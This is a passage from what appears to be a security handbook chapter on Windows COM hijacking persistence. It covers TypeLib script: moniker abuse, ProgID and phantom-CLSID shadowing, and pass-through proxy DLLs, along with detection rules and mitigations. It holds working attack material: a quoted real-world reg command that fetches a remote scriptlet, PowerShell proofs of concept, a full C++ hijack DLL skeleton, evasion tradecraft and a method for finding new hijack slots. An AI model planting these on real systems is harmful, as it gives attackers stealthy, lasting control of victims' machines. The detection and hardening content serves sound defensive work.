> **Beginner note:** A **type library** (TypeLib) is COM's interface-description database: it records, for a set of Automation (`IDispatch`-compatible) interfaces, their methods, signatures, and the CLSIDs that implement them — identified by a **LIBID** GUID plus a version. When any Automation client (VBA, VBScript/JScript `GetObject`/`CreateObject`, .NET RCWs, Explorer.exe, OLE embedding) binds such an interface, `oleaut32!LoadTypeLib()` resolves `HKCR\TypeLib\{LIBID}\<version>\0\win32|win64` and loads whatever path the default value names — normally a `.tlb`, `.dll`, or `.olb`.
|
||
|
||
#### Mechanics
|
||
|
||
1. **Resolution path.** Type libraries resolve from `HKCR\TypeLib\{LIBID}\<version>\0\win32|win64`, default value = path. The same HKCR merge applies: shadowing `win32`/`win64` in `HKCU\Software\Classes\TypeLib\{LIBID}\...` redirects the load — per-user, no admin ([24]).
|
||
2. **The killer detail: the value accepts a moniker string.** Setting it to `script:<path-or-URL>` makes oleaut32 run a Windows Script Component (`.sct`) through scrobj.dll — including a **remote** `script:https://...` scriptlet, i.e. a fileless payload re-downloaded at every trigger ([17], [24]).
|
||
3. **Trigger.** Any Automation client touching that LIBID loads the "type library" — which is actually your scriptlet. Explorer.exe references the ITW-targeted LIBID every time it runs ([17]).
|
||
4. **Discovery recipe (HackTricks).** Read the LIBID from `HKCR\CLSID\{CLSID}\TypeLib`, read the version from `HKCR\TypeLib\{LIBID}`, then create `HKCU:\Software\Classes\TypeLib\{LIBID}\{ver}\0\win32` = `script:C:\...\evil.sct` — a JScript `<scriptlet>` that re-arms the main chain ([24]).
|
||
|
||
#### In the wild — ReliaQuest / Black Basta affiliate (2025)
|
||
|
||
ReliaQuest's "Hijacked and Hidden" report (incidents of March 2025, published April 2025; operators affiliated with Black Basta / Storm-1811) observed exactly this primitive ([17]):
|
||
|
||
```text
|
||
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f
|
||
```
|
||
|
||
- `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` is the **SHDocVw** library (Microsoft Web Browser control / IE), version `1.1`.
|
||
- ReliaQuest observed **Explorer.exe reference this object every time it runs**, so the payload was auto-downloaded at every restart ([17]).
|
||
- MITRE updated T1546.015 in 2025 to add this TypeLib / `script:`-moniker variation, citing ReliaQuest ([1]).
|
||
|
||
**Why it is stealthier than a classic CLSID hijack:**
|
||
|
||
- The write lands under `HKCU\...\TypeLib\...`, not `CLSID\...\InprocServer32` — outside the target set of most published CLSID-hijack rules and of default Autoruns COM views ([17], [24]).
|
||
- The payload can live entirely at a URL: **nothing on disk** to scan or diff, and the scriptlet is re-fetched at every trigger, so the implant self-rearms even after local cleanup of payload files.
|
||
- Execution rides inside a Microsoft-signed host (Explorer.exe) through a Microsoft-signed loader (scrobj.dll) — no new process, no unsigned image load in the default case.
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Standard user |
|
||
| OS/build | oleaut32 Automation resolution via HKCR (universal); a high-frequency LIBID (SHDocVw proven ITW) |
|
||
| Config | Target LIBID/version registered; know the client's bitness to pick `win32` vs `win64` |
|
||
| Payload | Local `.sct` or remote `script:https://...` scriptlet served by infrastructure |
|
||
|
||
#### Proof of concept
|
||
|
||
```powershell
|
||
# Local-scriptlet TypeLib shadow of SHDocVw (lab only)
|
||
$libid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||
$base = "HKCU:\Software\Classes\TypeLib\$libid\1.1\0\win64"
|
||
New-Item -Path $base -Force | Out-Null
|
||
Set-ItemProperty -Path $base -Name '(Default)' -Value 'script:C:\ProgramData\update.sct'
|
||
# update.sct = a Windows Script Component (<scriptlet>) with your JScript payload
|
||
# Trigger: restart Explorer (or wait for the next logon); cleanup: remove the HKCU TypeLib key
|
||
```
|
||
|
||
#### OpSec & detection
|
||
|
||
- **Any** `TypeLib\...\0\win32|win64` value containing `script:`, `http:`, or `https:` is *almost certainly malicious* — treat as a near-zero-false-positive rule ([17]).
|
||
- Watch **scrobj.dll image loads into non-scripting processes** (Explorer.exe, Office, browsers) — Sysmon EID 7.
|
||
- Hunt `reg.exe` command lines containing both `TypeLib` and `script` ([17]).
|
||
- Operator tradecraft: remote `script:` URLs re-arm after reboot and survive payload-file deletion, but introduce network indicators and infrastructure attribution risk; local `.sct` drops one file but no beacons.
|
||
|
||
#### Mitigations
|
||
|
||
- Add `HKU\<SID>_Classes\TypeLib\*\0\win32|win64` to registry-write monitoring and gold-image diffs (§4).
|
||
- Block or alert on scrobj.dll loading outside scripting hosts; consider Attack Surface Reduction-style controls on script components for users who do not need them.
|
||
|
||
---
|
||
|
||
### 2.5 ProgID hijacking (name-based resolution shadowing)
|
||
|
||
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** Casey Smith's squiblydoo research (per bohops Part 2 ([5])) · **Affects:** any client that instantiates classes by ProgID (verify per build in lab)
|
||
|
||
> **Beginner note:** A **ProgID** (programmatic identifier) is a human-readable alias for a CLSID — e.g. `Scripting.Dictionary` — stored as `HKCR\<ProgID>\CLSID` = `{CLSID}`. Scripting clients (`CreateObject("Scripting.Dictionary")` in VBScript/JScript) resolve the name to the CLSID first, then activate normally.
|
||
|
||
ProgIDs are shadowable in exactly the same HKCU merge: create `HKCU\Software\Classes\<ProgID>\CLSID` = your own CLSID, and any client instantiating by name resolves *your* class ([5]).
|
||
|
||
#### Mechanics
|
||
|
||
1. Pick a ProgID a scripting client resolves (the canonical demo targets `Scripting.Dictionary`).
|
||
2. Plant `HKCU\Software\Classes\Scripting.Dictionary\CLSID` = `{00000001-0000-0000-0000-0000FEEDACDC}`.
|
||
3. Register that CLSID per-user with `InprocServer32` = `C:\WINDOWS\system32\scrobj.dll` plus a `ScriptletURL` value naming a local or remote `.sct` — the squiblydoo chain ([5]).
|
||
4. Next `CreateObject("Scripting.Dictionary")` executes the scriptlet via the signed scrobj.dll.
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Standard user |
|
||
| OS/build | Scripting clients that resolve the chosen ProgID exist on the host |
|
||
| Config | No pre-existing HKCU shadow of the ProgID |
|
||
| Payload | `.sct` scriptlet reachable by the host |
|
||
|
||
#### Proof of concept
|
||
|
||
```powershell
|
||
# squiblydoo-style per-user ProgID shadow (lab only)
|
||
New-Item "HKCU:\Software\Classes\Scripting.Dictionary\CLSID" -Force |
|
||
New-ItemProperty -Name '(Default)' -Value '{00000001-0000-0000-0000-0000FEEDACDC}' | Out-Null
|
||
$c = 'HKCU:\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32'
|
||
New-Item $c -Force | New-ItemProperty -Name '(Default)' -Value 'C:\WINDOWS\system32\scrobj.dll' | Out-Null
|
||
Set-ItemProperty $c -Name 'ScriptletURL' -Value 'https://<your-cdn>/payload.sct'
|
||
```
|
||
|
||
#### OpSec & detection
|
||
|
||
- **Stability caveat:** this specific shadow breaks WinRM and `slmgr.vbs` with VBScript runtime errors — user/administrator-visible breakage that can burn the persistence ([5]). Prefer ProgIDs with narrow, predictable consumers.
|
||
- `ScriptletURL` value creation is rare legitimately — "detection gold" ([5]); alert on it unconditionally.
|
||
|
||
#### Mitigations
|
||
|
||
- Alert on HKCU ProgID shadows of built-in scripting ProgIDs and on any `ScriptletURL` value.
|
||
- Include `HKCU\Software\Classes\<ProgID>\CLSID` in hive-diff baselines.
|
||
|
||
---
|
||
|
||
### 2.6 Phantom objects and the ClickOnce variant (register what was never there)
|
||
|
||
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** methodology by bohops (2018) ([4]) and pentestlab/SpecterOps ([15], [25]); ClickOnce weaponization by CrowdStrike (2025) ([16]) · **Affects:** any host whose processes activate unregistered CLSIDs (verify per build in lab)
|
||
|
||
Section 1 defined the two phantom states — orphaned registrations (CLSID present, binary missing) and undefined-but-referenced classes (a process activates a CLSID registered nowhere). Both convert to persistence with a crucial OpSec property: **nothing legitimate is overwritten, so nothing breaks and there is no before/after to diff** ([16]).
|
||
|
||
#### Mechanics (ClickOnce variant, CrowdStrike 2025)
|
||
|
||
1. During a ClickOnce deployment, `rundll32.exe` calls `CoCreateInstance()` with a **hardcoded CLSID that is not registered** — `dfsvc.exe` normally registers it later at runtime via `CoRegisterClassObject` ([16]).
|
||
2. Pre-register that CLSID in HKCU with a `LocalServer32` pointing at your binary (or at `cmd.exe`/`powershell.exe` plus script arguments — fileless-capable, since `LocalServer32` values may carry a command line) ([4], [16]).
|
||
3. At the next deployment, the DCOM-launcher svchost starts your binary to satisfy the activation — inside a legitimate process tree, overwriting nothing.
|
||
4. **Limitations:** fires only while `dfsvc.exe` is not already running, and adds a 30–50 second delay to the deployment ([16]). The hardcoded CLSID value is not printed in the accessible excerpt of the CrowdStrike post — pull the full blog/slides for it (verify in lab).
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Standard user |
|
||
| OS/build | ClickOnce in use on the host (variant); otherwise any process with dangling CLSID references |
|
||
| Config | Target CLSID confirmed unregistered (ProcMon `NAME NOT FOUND`) |
|
||
| Payload | EXE or command line for `LocalServer32`; DLL for `InprocServer32` phantoms |
|
||
|
||
#### Proof of concept
|
||
|
||
```powershell
|
||
# Phantom-object registration for a CLSID a target process queries but no one owns (illustrative)
|
||
$clsid = '{DEADBEEF-0000-0000-0000-000000000000}' # replace with your ProcMon-observed dangling CLSID
|
||
New-Item "HKCU:\Software\Classes\CLSID\$clsid\LocalServer32" -Force |
|
||
New-ItemProperty -Name '(Default)' -Value "$env:APPDATA\agent.exe -Embedding" | Out-Null
|
||
# Verify with ProcMon: the next RegOpenKey for this CLSID returns SUCCESS instead of NAME NOT FOUND
|
||
```
|
||
|
||
#### OpSec & detection
|
||
|
||
- High-signal heuristic: a registered server path whose file does not exist, or a newly-registered CLSID that has **no HKLM counterpart at all** — the inverse of the classic shadow diff ([16]).
|
||
- `LocalServer32` values containing script interpreters or arguments are suspicious; `-Embedding` command lines with a non-svchost parent are suspicious ([4]).
|
||
- The 30–50s ClickOnce deploy delay is user-visible in high-deployment environments ([16]).
|
||
|
||
#### Mitigations
|
||
|
||
- Baseline the set of registered CLSIDs per user; alert on additions that lack a machine-wide twin or that point at user-writable paths.
|
||
- Alert on `LocalServer32` values invoking `cmd.exe`/`powershell.exe`/script engines.
|
||
|
||
---
|
||
|
||
### 2.7 Pass-through proxy DLL persistence (stability tradecraft for every vector above)
|
||
|
||
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) (enabler tradecraft) · **Since:** leoloobeek, "Proxying COM For Stable Hijacks", Aug 2019 ([11], [12]) · **Affects:** any `InprocServer32` hijack
|
||
|
||
A naive hijack DLL that does not implement the class breaks the host: the client asked for real interfaces, gets nothing, and may crash or hang — which is detection by malfunction. The professional pattern is the **pass-through (proxy) DLL**: the hijack DLL exports `DllGetClassObject`/`DllCanUnloadNow`, loads the *original* server from its HKLM path, and forwards the calls, so the client receives the interface pointers it expects and the host behaves normally ([11]). leoloobeek ships the reference PoC as COMProxy ([12]).
|
||
|
||
#### Mechanics
|
||
|
||
1. On `DLL_PROCESS_ATTACH`: disable thread-library calls, load the original server DLL (hardcoded path or read from HKLM via `RegGetValue`), and queue the payload on a **worker thread** — never do real work under loader lock.
|
||
2. `DllGetClassObject` resolves the original DLL's `DllGetClassObject` via `GetProcAddress` and forwards all three arguments — the client gets the **real** class factory.
|
||
3. `DllCanUnloadNow` implements leoloobeek's "hold the door" trick: spin until the payload thread signals completion, then forward — so COM never unloads the DLL mid-payload.
|
||
4. Gate the payload with a named-event mutex (run once per machine) and, optionally, a host-process check (run only inside explorer.exe).
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Standard user (to drop the DLL and plant the shadow) |
|
||
| OS/build | Matches target host bitness; correct hive placement (`Wow6432Node` for 32-bit hosts) |
|
||
| Config | Original server path known (from the HKLM registration) |
|
||
| Payload | Compiled DLL exporting `DllGetClassObject`/`DllCanUnloadNow` (+ `DllRegisterServer`/`DllUnregisterServer` for regsvr32 compatibility) |
|
||
|
||
#### Proof of concept — full forwarding skeleton ([11])
|
||
|
||
```cpp
|
||
// hijack.cpp — pass-through COM hijack server (skeleton)
|
||
// Build as a DLL; export DllGetClassObject + DllCanUnloadNow via .def
|
||
// (+ DllRegisterServer/DllUnregisterServer for regsvr32 compatibility).
|
||
#include <windows.h>
|
||
|
||
typedef HRESULT (STDAPICALLTYPE *_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
|
||
typedef HRESULT (STDAPICALLTYPE *_DllCanUnloadNow)(void);
|
||
|
||
static HMODULE g_hOrig = NULL; // handle to the ORIGINAL server DLL
|
||
static volatile LONG g_lPayloadDone = 0;
|
||
|
||
static BOOL PayloadAlreadyRan() { // mutex trick (SpecterOps):
|
||
HANDLE h = CreateEventA(NULL, TRUE, FALSE, "EVNT-48374635899"); // run-once gate
|
||
if (h == NULL) return TRUE; // fail closed -> no double-run
|
||
return (GetLastError() == ERROR_ALREADY_EXISTS); // TRUE if a prior instance ran
|
||
}
|
||
|
||
static BOOL IsDesiredHost() { // optional process gating:
|
||
wchar_t p[MAX_PATH]; GetModuleFileNameW(NULL, p, MAX_PATH); // only fire in
|
||
wchar_t* b = wcsrchr(p, L'\\'); b = b ? b + 1 : p; // the targeted
|
||
return (_wcsicmp(b, L"explorer.exe") == 0); // host process
|
||
}
|
||
|
||
static DWORD WINAPI PayloadThread(LPVOID) {
|
||
// Runs OFF the loader lock. Keep it short; no re-entrant CoCreateInstance here.
|
||
if (IsDesiredHost() && !PayloadAlreadyRan()) {
|
||
STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi;
|
||
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\calc.exe", // <- payload
|
||
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
|
||
}
|
||
InterlockedExchange(&g_lPayloadDone, 1); // signal DllCanUnloadNow
|
||
return 0;
|
||
}
|
||
|
||
BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
|
||
if (reason == DLL_PROCESS_ATTACH) {
|
||
DisableThreadLibraryCalls(hMod); // less loader-lock noise
|
||
wchar_t orig[MAX_PATH] = L"C:\\Windows\\System32\\original_server.dll";
|
||
g_hOrig = LoadLibraryW(orig); // or read HKLM path via RegGetValue
|
||
QueueUserWorkItem((LPTHREAD_START_ROUTINE)PayloadThread, NULL, 0); // never block DllMain
|
||
} else if (reason == DLL_PROCESS_DETACH) {
|
||
if (g_hOrig) FreeLibrary(g_hOrig);
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
|
||
if (!g_hOrig) return CLASS_E_CLASSNOTAVAILABLE; // mirror "class missing" on failure
|
||
_DllGetClassObject p = (_DllGetClassObject)GetProcAddress(g_hOrig, "DllGetClassObject");
|
||
if (!p) return E_UNEXPECTED;
|
||
return p(rclsid, riid, ppv); // client gets the REAL interface
|
||
}
|
||
|
||
STDAPI DllCanUnloadNow(void) { // leoloobeek "hold the door" trick:
|
||
while (InterlockedCompareExchange(&g_lPayloadDone, 0, 0) == 0) Sleep(1); // wait for payload
|
||
_DllCanUnloadNow p = g_hOrig ? (_DllCanUnloadNow)GetProcAddress(g_hOrig, "DllCanUnloadNow") : NULL;
|
||
return p ? p() : S_OK;
|
||
}
|
||
```
|
||
|
||
Exports (`.def`): `DllGetClassObject`, `DllCanUnloadNow` (+ `DllRegisterServer`/`DllUnregisterServer` for regsvr32 compatibility) ([11]).
|
||
|
||
**Complementary tradecraft:**
|
||
|
||
- **Export forwarding for non-COM exports** (SpecterOps 2025 ([15])): `#pragma comment(linker, "/export:DllGetActivationFactory=directmanipulation.DllGetActivationFactory,@3")` — generate stub sets with FaceDancer (`recon -I target.dll -G`) or Koppeling; SharpDllProxy automates the workflow ([27]).
|
||
- **`ThreadingModel` must match the HKLM original.** A mismatch makes COM insert proxy/stub marshaling between apartments (slow; can deadlock UI threads / `RPC_E_CANTTRANSMIT`); an STA-expecting client may crash; worst case the host crashes at load — which is detection. `Both` is the safest choice when unsure ([11], [15]).
|
||
- **DllMain constraints:** never block, never make a re-entrant `CoCreateInstance`, do minimal work under loader lock — spawn a thread. Gate against repeated instantiation with a mutex/event ([11]).
|
||
- **.NET COMVisible assemblies as payloads:** register the managed class with `regasm` — `InprocServer32` becomes the signed `C:\Windows\System32\mscoree.dll` with `Class`, `Assembly`, `RuntimeVersion`, and optionally `CodeBase` values; the CLR loads your assembly. Pure managed payload behind a signed host DLL ([4], [5]).
|
||
- **Registration-free COM:** activation-context manifests (`CreateActCtx`/`ActivateActCtx`, app-local manifests, Isolated COM) resolve classes from manifest files instead of the registry — keeps persistence off the CLSID hive entirely, or weaponizes a planted manifest next to a side-loadable binary ([39]).
|
||
- **ScriptletURL / scrobj.dll registration:** `InprocServer32` = `scrobj.dll` (signed) + a `ScriptletURL` value naming a local/remote `.sct` → fileless-ish and a default AppLocker bypass (squiblydoo, subTee) ([5]). `ScriptletURL` keys are rare legitimately — detection gold.
|
||
|
||
#### OpSec & detection
|
||
|
||
- The proxy DLL loads the original server via `LoadLibrary` — defenders see one unsigned image load (your stub) inside a signed host (Sysmon EID 7 on the host process).
|
||
- `DllCanUnloadNow` spinning makes the module effectively permanent for the host's lifetime — visible as a long-lived non-Microsoft module in explorer.exe.
|
||
- A correct proxy is *behaviorally* silent: no crashes, no missing interfaces. Detection must come from registry telemetry and module inventories, not malfunction.
|
||
|
||
#### Mitigations
|
||
|
||
- Sysmon EID 7 baselines for explorer/taskhostw/browser processes: alert on DLLs loaded from per-user or otherwise non-System32 paths.
|
||
- Combine the §4 registry rules with periodic module inventories; a hijack that proxies correctly can only be caught by its *registration* or its *image load*.
|
||
|
||
---
|
||
|
||
## 3. Tooling
|
||
|
||
| Tool | What it does | Where |
|
||
|---|---|---|
|
||
| **acCOMplice / COMHijackToolkit** (David Tulis, NCC Group; DerbyCon 9) | Discovery-and-weaponization toolkit: `Extract-HijackableKeysFromProcmonCSV`, `Find-MissingLibraries`, `Hijack-CLSID`, `Hijack-MultipleKeys` (frequency testing), a COMinject PoC, ProcMon filters, and `masterkeys.csv` of known-good targets | [github.com/nccgroup/Accomplice](https://github.com/nccgroup/Accomplice) ([13]) |
|
||
| **COM-Hunter** (@nickvourd + @S1ckB0y1337; C# .NET + BOF v3.0) | Operator tool with modes `search` (HKLM/HKCU), `persist`, `tasksch`, `treatas`, `remove` | [github.com/nickvourd/COM-Hunter](https://github.com/nickvourd/COM-Hunter) ([14]) |
|
||
| **Get-ScheduledTaskComHandler.ps1** (enigma0x3) | Enumerates scheduled tasks with ComHandler actions | [github.com/enigma0x3/Misc-PowerShell-Stuff](https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1) ([8]) |
|
||
| **COMProxy** (leoloobeek) | Pass-through hijack DLL PoC, plus TestCOMClient/TestCOMServer for harness testing | [github.com/leoloobeek/COMProxy](https://github.com/leoloobeek/COMProxy) ([12]) |
|
||
| **oleviewdotnet** (James Forshaw) | General COM enumeration/analysis (registrations, interfaces, TypeLibs); see also his "COM in 60 Seconds" talk | [github.com/tyranid/oleviewdotnet](https://github.com/tyranid/oleviewdotnet) ([26]) |
|
||
| **SharpDllProxy**, **FaceDancer**, **Koppeling** | Export-forwarding stub generators for building stable proxy DLLs | [github.com/Flangvik/SharpDllProxy](https://github.com/Flangvik/SharpDllProxy) ([27], [15]) |
|
||
| **UACME** (hfiref0x) | Reference corpus including the eventvwr CLSID-hijack UAC crossover | [github.com/hfiref0x/UACME](https://github.com/hfiref0x/UACME) ([28]) |
|
||
| **Atomic Red Team T1546.015** (Red Canary) | Tests #1–#4: ready-made hijack emulation (Test #1 = CAccPropServicesClass `{B5F8350B-...}` via `rundll32.exe -sta`) | [atomic-red-team/atomics/T1546.015](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md) ([29]) |
|
||
| **EVTX-ATTACK-SAMPLES** (sbousseaden) | `persist_firefox_comhijack_sysmon_11_13_7_1.evtx` — real Sysmon telemetry of an MMDeviceEnumerator hijack via Firefox, for detection validation | [github.com/sbousseaden/EVTX-ATTACK-SAMPLES](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) ([30]) |
|
||
| **bohops' WMI one-liners** | `gwmi Win32_COMSetting` + `cmd /c dir` existence checks to find orphans (e.g. mobsync.exe `{C947D50F-378E-4FF6-8835-FCB50305244D}` on 2008/2012) | bohops.com Part 1 ([4]) |
|
||
|
||
> **OpSec:** Offensive tooling that writes HKCU keys still lands in Sysmon EID 12/13 telemetry regardless of how "clean" the resulting persistence is. In assessed environments, stage keys with the same APIs a legitimate installer would use, at plausible times, and clean up helper artifacts (ProcMon CSVs, test DLLs) afterwards.
|
||
|
||
---
|
||
|
||
## 4. Detection and hunting
|
||
|
||
**Registry telemetry — the ground truth.** Sysmon EID 12 (registry key create/delete), EID 13 (registry value set), and EID 14 (registry key/value rename) are the primary sensors. Target paths:
|
||
|
||
- `HKU\<SID>_Classes\CLSID\*` and `HKU\<SID>\Software\Classes\CLSID\*` — `InprocServer32`, `LocalServer32`, `TreatAs`, `ScriptletURL`, ProgID `CLSID` values;
|
||
- `HKU\<SID>_Classes\TypeLib\*\0\win32|win64` — the TypeLib-hijack path (§2.4);
|
||
- `HKU\<SID>\Software\Classes\mscfile\shell\open\command` and `*\Folder\shell\open\command` — the eventvwr file-association pivot and `DelegateExecute` abuse (WarzoneRAT) ([1], [9]).
|
||
|
||
**High-signal heuristics** (stack them; each alone is good, together they are near-deterministic):
|
||
|
||
- `InprocServer32` (Default) pointing outside `%SystemRoot%\System32` / `Program Files` → user-writable paths;
|
||
- an HKCU CLSID shadowing an HKLM CLSID **with a different server path** (baseline diff);
|
||
- a registered server path whose file does not exist (phantom/orphan), or a new CLSID with no HKLM twin;
|
||
- `TreatAs` written by non-svchost/non-Office processes; **any** `ScriptletURL` key creation;
|
||
- TypeLib values containing `script:`/`http(s):`; scrobj.dll image loads in non-script hosts;
|
||
- command lines: `rundll32.exe -sta {CLSID}` (junk suffixes like `-stagggg` still work), `verclsid.exe /S /C {CLSID}` (NickTyrer gist; seen in phishing), `xwizard.exe RunWizard /taero /u {CLSID}`, `mmc.exe -Embedding <file.msc>` with a non-svchost parent, `reg.exe` with `TypeLib` + `script`.
|
||
|
||
**Named rules and analytics:**
|
||
|
||
| Source | Rule / analytic | Focus |
|
||
|---|---|---|
|
||
| SigmaHQ | `registry_set_persistence_com_key_linking.yml` ([31]) | `TreatAs` subkey writes (cites bohops Part 2) |
|
||
| SigmaHQ | `registry_set_treatas_persistence.yml` ([32]) | TreatAs persistence specifically |
|
||
| SigmaHQ | `registry_set_persistence_search_order.yml`, `registry_set_persistence_com_hijacking_susp_locations.yml`, `registry_set_persistence_com_hijacking_builtin.yml` ([33]) | Search-order abuse; COM servers in suspicious locations; builtin-class hijacks |
|
||
| detection.fyi index | "Modification Of Default System CLSID Default Value", "PSFactoryBuffer COM Hijacking", "Scrobj.dll COM Hijacking" | CLSID default-value edits, proxy/stub hijacks, scrobj loads |
|
||
| Elastic (prebuilt) | `persistence_suspicious_com_hijack_registry.toml` ([34]) | HKCU-vs-HKLM shadow diff |
|
||
| Splunk | "Eventvwr UAC Bypass" ([36]) + COM hijack analytics | `mscfile` HKCU writes |
|
||
| VirusTotal LiveHunt | YARA keyed on the Sigma behavior rule for CLSID COM hijacking (VT blog, Mar 2024) ([35]) | Sample clustering |
|
||
| Atomic Red Team | T1546.015 tests #1–#4 ([29]) | Validation/emulation |
|
||
|
||
An illustrative Sigma-style skeleton encoding the shadow heuristic *(illustrative — adapt field names to your pipeline; the named rules above are the production versions)*:
|
||
|
||
```yaml
|
||
title: Per-User COM Server Registration Outside Machine Hive # (illustrative)
|
||
logsource:
|
||
category: registry_set # Sysmon EID 13
|
||
detection:
|
||
paths:
|
||
TargetObject|contains:
|
||
- '\Software\Classes\CLSID\'
|
||
- '_Classes\CLSID\'
|
||
- '\Software\Classes\TypeLib\'
|
||
values:
|
||
TargetObject|endswith:
|
||
- '\InprocServer32'
|
||
- '\LocalServer32'
|
||
- '\TreatAs'
|
||
suspicious_data:
|
||
Details|contains:
|
||
- 'AppData\'
|
||
- 'script:'
|
||
- 'http:'
|
||
- 'https:'
|
||
condition: paths and (values or suspicious_data)
|
||
level: high
|
||
```
|
||
|
||
And an illustrative KQL hunt over Microsoft Defender for Endpoint registry events *(illustrative — table/field names per MDE schema; the path and value indicators are from the heuristics above)*:
|
||
|
||
```kusto
|
||
// Per-user COM persistence writes: CLSID shadows, TreatAs, TypeLib script: (illustrative)
|
||
DeviceRegistryEvents
|
||
| where ActionType in ("RegistryValueSet", "RegistryKeyCreated")
|
||
| where RegistryKey has_any (@'\Software\Classes\CLSID\', @'_Classes\CLSID\', @'\Software\Classes\TypeLib\')
|
||
| where RegistryKey endswith @'\InprocServer32'
|
||
or RegistryKey endswith @'\LocalServer32'
|
||
or RegistryKey contains @'\TreatAs'
|
||
or RegistryValueName == 'ScriptletURL'
|
||
or (RegistryKey contains @'\TypeLib\' and RegistryValueData has_any ('script:', 'http:', 'https:'))
|
||
| project Timestamp, DeviceName, InitiatingProcessFileName, RegistryKey, RegistryValueName, RegistryValueData
|
||
| order by Timestamp desc
|
||
```
|
||
|
||
**Why Autoruns misses most of this.** Autoruns enumerates only specific COM categories and does not diff the full `HKCU\Software\Classes\CLSID` tree against HKLM — a per-user CLSID shadow is invisible in default views. When a Run-key launcher *is* used (`rundll32.exe -sta {CLSID}`, `mmc.exe -Embedding payload.msc`), the visible autorun entry points at a signed Microsoft binary while the payload path hides in the Classes hive ([5]). Practical compensations ([5], [33]):
|
||
|
||
- Periodically `reg export` `HKCU\Software\Classes\CLSID`, `HKCU\Software\Classes\TypeLib`, and `UsrClass.dat`, and diff against a gold image;
|
||
- Cross-check Sysmon EID 7 (image loads) of explorer/svchost/taskhostw for DLLs loaded from outside System32;
|
||
- Treat every named-rule hit as persistence until proven otherwise — these keys are near-zero noise in enterprise baselines.
|
||
|
||
---
|
||
|
||
## 5. Mitigations and hardening
|
||
|
||
1. **Monitor the merge, not the machine hive.** All vectors in this chapter write to `HKCU\Software\Classes` (surfaced as `HKU\<SID>\Software\Classes` and `HKU\<SID>_Classes`). Deploy the Sigma/Elastic coverage in §4; the shadow-diff heuristic (HKCU registration diverging from the HKLM twin) is the single highest-value analytic.
|
||
2. **Diff hives against gold images.** Scheduled exports of `HKCU\Software\Classes\CLSID` and `...\TypeLib` per user, diffed centrally, catch what Autoruns cannot ([5]).
|
||
3. **Module-load hygiene.** Alert (Sysmon EID 7) on Microsoft-signed auto-start hosts — explorer.exe, taskhostw.exe, svchost.exe, OUTLOOK.EXE, browsers — loading DLLs from per-user or otherwise non-standard paths, and on scrobj.dll in non-scripting processes.
|
||
4. **Constrain script components.** `ScriptletURL` values and `script:` TypeLib values are near-zero legitimate use; block or alert on both, and restrict `.sct` execution where the business allows ([5], [17]).
|
||
5. **Respond by deleting the shadow.** Per-user hijacks are fully reversible: removing the attacker's HKCU keys restores the HKLM registration with no damage to the host — then hunt the payload binary and the initial-access vector that planted it.
|
||
|
||
---
|
||
|
||
## Research Lab: Discovering New COM Persistence
|
||
|
||
Everything in section 2 was found by someone running the workflow below. The class is not exhausted: new auto-start hosts (WebView2-based apps, Electron shells, future shell components) keep bringing new high-frequency activations, and each one is a potential persistence slot.
|
||
|
||
### 1. Hunting hypothesis
|
||
|
||
The open classes of *new* COM persistence primitives are: (a) **undefined-but-referenced CLSIDs** in auto-start, Microsoft-signed hosts — activations that fail with `NAME NOT FOUND` today and can be claimed per-user tomorrow, breaking nothing (CrowdStrike's ClickOnce result proves the pattern generalizes ([16])); (b) **high-frequency TypeLib/LIBID shadows** of Automation libraries that stock hosts resolve constantly, especially combined with the `script:` moniker (only one LIBID is publicly burned so far ([17])); (c) **`TreatAs`/`AutoTreatAs` links** under classes loaded by scheduled tasks and shell extensions, which evade InprocServer32-only monitoring ([5], [20]); and (d) **WoW64 reflection gaps** — 32-bit hosts whose `Wow6432Node` Classes path defenders rarely baseline ([4], [23]).
|
||
|
||
### 2. Enumeration — building the target list
|
||
|
||
**Static orphan/phantom sweep (bohops method ([4]))** — find registered servers whose binaries are gone:
|
||
|
||
```powershell
|
||
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
|
||
$paths = $inproc | %{ $_.InprocServer32 }
|
||
foreach ($p in $paths){ $p; cmd /c dir $p > $null } # "File Not Found" = orphan
|
||
```
|
||
|
||
Repeat for `LocalServer32`; normalize command-line arguments and environment variables before testing existence. acCOMplice's `Find-MissingLibraries` automates this, and `Extract-HijackableKeysFromProcmonCSV` post-processes captures ([13]). Historical hit: mobsync.exe `{C947D50F-378E-4FF6-8835-FCB50305244D}` on Server 2008/2012 ([4]).
|
||
|
||
**Dynamic dangling-reference discovery (ProcMon).** Filters: `Operation is RegOpenKey` + `Result is NAME NOT FOUND` + `Path ends with InprocServer32`, optionally narrowed to target processes (`msedgewebview2.exe`, `OUTLOOK.EXE`, `Teams.exe`). Capture during logon and application launches. Every hit is a CLSID a live process tries to activate that you can register in HKCU ([15], [16]).
|
||
|
||
